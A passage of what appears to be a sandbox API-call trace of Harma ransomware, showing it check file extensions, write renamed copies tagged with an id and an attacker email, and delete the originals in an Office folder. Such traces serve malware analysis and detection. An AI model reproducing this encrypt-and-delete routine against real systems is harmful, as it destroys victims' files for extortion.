Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.597] lstrlenW (lpString=".doc") returned 4 [0159.597] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.597] lstrlenW (lpString=".docx") returned 5 [0159.597] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.597] lstrlenW (lpString=".pdf") returned 4 [0159.597] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.597] lstrlenW (lpString=".xls") returned 4 [0159.597] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.597] lstrlenW (lpString=".xlsx") returned 5 [0159.597] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.597] lstrlenW (lpString=".ppt") returned 4 [0159.597] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.597] lstrlenW (lpString=".zip") returned 4 [0159.597] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.597] lstrlenW (lpString=".rar") returned 4 [0159.597] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.597] lstrlenW (lpString=".bz2") returned 4 [0159.597] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.597] lstrlenW (lpString=".7z") returned 3 [0159.597] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.598] lstrlenW (lpString=".dbf") returned 4 [0159.598] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.598] lstrlenW (lpString=".1cd") returned 4 [0159.598] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.598] lstrlenW (lpString=".jpg") returned 4 [0159.598] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.598] lstrlenW (lpString=".doc") returned 4 [0159.598] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.598] lstrlenW (lpString=".docx") returned 5 [0159.598] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.598] lstrlenW (lpString=".pdf") returned 4 [0159.598] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.598] lstrlenW (lpString=".xls") returned 4 [0159.598] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.598] lstrlenW (lpString=".xlsx") returned 5 [0159.598] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.598] lstrlenW (lpString=".ppt") returned 4 [0159.598] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.598] lstrlenW (lpString=".zip") returned 4 [0159.598] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.598] lstrlenW (lpString=".rar") returned 4 [0159.598] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.598] lstrlenW (lpString=".bz2") returned 4 [0159.598] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.598] lstrlenW (lpString=".7z") returned 3 [0159.598] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.599] lstrlenW (lpString=".dbf") returned 4 [0159.599] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.599] lstrlenW (lpString=".1cd") returned 4 [0159.599] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.599] lstrlenW (lpString=".jpg") returned 4 [0159.599] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.599] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0159.599] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0159.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.600] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=212) returned 1 [0159.600] CloseHandle (hObject=0x380) returned 1 [0159.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 0x20 [0159.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.600] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.600] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.601] GetLastError () returned 0x0 [0159.601] ReadFile (in: hFile=0x380, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xd4, lpOverlapped=0x0) returned 1 [0159.602] WriteFile (in: hFile=0x334, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0159.603] ReadFile (in: hFile=0x380, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.603] WriteFile (in: hFile=0x334, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0159.603] SetEndOfFile (hFile=0x334) returned 1 [0159.603] CloseHandle (hObject=0x334) returned 1 [0159.603] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.603] SetEndOfFile (hFile=0x380) returned 1 [0159.606] CloseHandle (hObject=0x380) returned 1 [0159.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.607] lstrlenW (lpString=".doc") returned 4 [0159.607] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0159.607] lstrlenW (lpString=".docx") returned 5 [0159.607] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0159.607] lstrlenW (lpString=".pdf") returned 4 [0159.607] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0159.607] lstrlenW (lpString=".xls") returned 4 [0159.607] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0159.607] lstrlenW (lpString=".xlsx") returned 5 [0159.607] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0159.607] lstrlenW (lpString=".ppt") returned 4 [0159.607] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.607] lstrlenW (lpString=".zip") returned 4 [0159.607] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0159.607] lstrlenW (lpString=".rar") returned 4 [0159.607] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0159.607] lstrlenW (lpString=".bz2") returned 4 [0159.607] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0159.607] lstrlenW (lpString=".7z") returned 3 [0159.607] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.608] lstrlenW (lpString=".dbf") returned 4 [0159.608] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.608] lstrlenW (lpString=".1cd") returned 4 [0159.608] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.608] lstrlenW (lpString=".jpg") returned 4 [0159.608] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.608] lstrlenW (lpString=".doc") returned 4 [0159.608] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0159.608] lstrlenW (lpString=".docx") returned 5 [0159.608] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0159.608] lstrlenW (lpString=".pdf") returned 4 [0159.608] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0159.608] lstrlenW (lpString=".xls") returned 4 [0159.608] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0159.608] lstrlenW (lpString=".xlsx") returned 5 [0159.608] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0159.608] lstrlenW (lpString=".ppt") returned 4 [0159.608] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.608] lstrlenW (lpString=".zip") returned 4 [0159.608] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0159.608] lstrlenW (lpString=".rar") returned 4 [0159.608] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0159.608] lstrlenW (lpString=".bz2") returned 4 [0159.608] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0159.608] lstrlenW (lpString=".7z") returned 3 [0159.609] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0159.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.609] lstrlenW (lpString=".dbf") returned 4 [0159.609] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0159.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.609] lstrlenW (lpString=".1cd") returned 4 [0159.609] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0159.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0159.609] lstrlenW (lpString=".jpg") returned 4 [0159.609] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0159.609] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0159.609] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0159.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.610] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0159.610] CloseHandle (hObject=0x380) returned 1 [0159.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 0x20 [0159.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.610] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.610] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.611] GetLastError () returned 0x0 [0159.611] ReadFile (in: hFile=0x380, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0159.612] WriteFile (in: hFile=0x334, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0159.613] ReadFile (in: hFile=0x380, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.613] WriteFile (in: hFile=0x334, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x100, lpOverlapped=0x0) returned 1 [0159.613] SetEndOfFile (hFile=0x334) returned 1 [0159.613] CloseHandle (hObject=0x334) returned 1 [0159.613] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.613] SetEndOfFile (hFile=0x380) returned 1 [0159.616] CloseHandle (hObject=0x380) returned 1 [0159.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 1 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.616] lstrlenW (lpString=".doc") returned 4 [0159.617] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.617] lstrlenW (lpString=".docx") returned 5 [0159.617] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.617] lstrlenW (lpString=".pdf") returned 4 [0159.617] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.617] lstrlenW (lpString=".xls") returned 4 [0159.617] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.617] lstrlenW (lpString=".xlsx") returned 5 [0159.617] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.617] lstrlenW (lpString=".ppt") returned 4 [0159.617] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.617] lstrlenW (lpString=".zip") returned 4 [0159.617] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.617] lstrlenW (lpString=".rar") returned 4 [0159.617] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.617] lstrlenW (lpString=".bz2") returned 4 [0159.617] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.617] lstrlenW (lpString=".7z") returned 3 [0159.617] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.617] lstrlenW (lpString=".dbf") returned 4 [0159.617] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.617] lstrlenW (lpString=".1cd") returned 4 [0159.617] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.617] lstrlenW (lpString=".jpg") returned 4 [0159.617] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.618] lstrlenW (lpString=".doc") returned 4 [0159.618] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.618] lstrlenW (lpString=".docx") returned 5 [0159.618] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.618] lstrlenW (lpString=".pdf") returned 4 [0159.618] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.618] lstrlenW (lpString=".xls") returned 4 [0159.618] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.618] lstrlenW (lpString=".xlsx") returned 5 [0159.618] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.618] lstrlenW (lpString=".ppt") returned 4 [0159.618] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.618] lstrlenW (lpString=".zip") returned 4 [0159.618] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.618] lstrlenW (lpString=".rar") returned 4 [0159.618] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.618] lstrlenW (lpString=".bz2") returned 4 [0159.618] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.618] lstrlenW (lpString=".7z") returned 3 [0159.618] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.618] lstrlenW (lpString=".dbf") returned 4 [0159.619] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.619] lstrlenW (lpString=".1cd") returned 4 [0159.619] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0159.619] lstrlenW (lpString=".jpg") returned 4 [0159.619] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.619] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0159.619] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0159.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.619] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=113) returned 1 [0159.620] CloseHandle (hObject=0x380) returned 1 [0159.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 0x20 [0159.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.620] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.620] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0159.621] GetLastError () returned 0x0 [0159.621] ReadFile (in: hFile=0x380, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x71, lpOverlapped=0x0) returned 1 [0159.622] WriteFile (in: hFile=0x334, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0159.622] ReadFile (in: hFile=0x380, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.623] WriteFile (in: hFile=0x334, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x100, lpOverlapped=0x0) returned 1 [0159.623] SetEndOfFile (hFile=0x334) returned 1 [0159.623] CloseHandle (hObject=0x334) returned 1 [0159.623] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.623] SetEndOfFile (hFile=0x380) returned 1 [0159.627] CloseHandle (hObject=0x380) returned 1 [0159.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 1 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.628] lstrlenW (lpString=".doc") returned 4 [0159.628] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.628] lstrlenW (lpString=".docx") returned 5 [0159.628] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.628] lstrlenW (lpString=".pdf") returned 4 [0159.628] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.628] lstrlenW (lpString=".xls") returned 4 [0159.628] lstrcmpiW (lpString1=".xls", 